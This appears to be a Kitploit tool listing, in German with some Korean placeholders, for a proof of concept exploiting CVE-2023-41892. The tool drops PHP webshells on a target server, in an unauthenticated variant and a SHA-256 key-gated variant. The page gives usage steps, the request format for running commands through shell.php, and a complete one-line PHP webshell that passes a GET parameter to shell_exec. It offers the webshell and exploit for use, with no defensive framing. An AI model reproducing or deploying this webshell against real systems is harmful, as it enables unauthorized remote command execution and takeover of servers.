CVE-2023-41892_poc — Für meine eigene Nutzung angepasst | Kitploit

CVE-2023-41892_poc

Für meine eigene Verwendung angepasst

poc_noauth.py

Einfache einzeilige PHP-Webshell
OS-Befehlsausführung über ?cmd=<명령어>

poc_auth.py

Webshell mit einfacher schlüsselbasierter Authentifizierung (SHA-256-Hashvergleich)
Befehlsausführung nur mit dem korrekten Schlüssel möglich
Codeänderung erforderlich:
- Ersetze in der Variable webshell innerhalb der Funktion drop_payload den Teil YOUR_SECRET_KEY durch den SHA-256-Hashwert des gewünschten Schlüssels
Verwendung:
1. Ersetze YOUR_SECRET_KEY in webshell durch den SHA-256-Hashwert des Klartextschlüssels
2. Übergebe beim Senden der Anfrage den Klartextschlüssel
```
{target}/shell.php?k=<평문키>&c=<명령어>
```

Tool herunterladen

Beispiel:

Einstellung: Klartextschlüssel = test1234
SHA-256-Hash z. B. mit cyberchef erzeugen: 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
- echo -n test1234 | sha256sum
- cyberchef usw.

Codeänderung:

webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""

CVE-2023-41892_poc

Beliebteste

CVE-2023-41892_poc

poc_noauth.py

poc_auth.py

Verwendung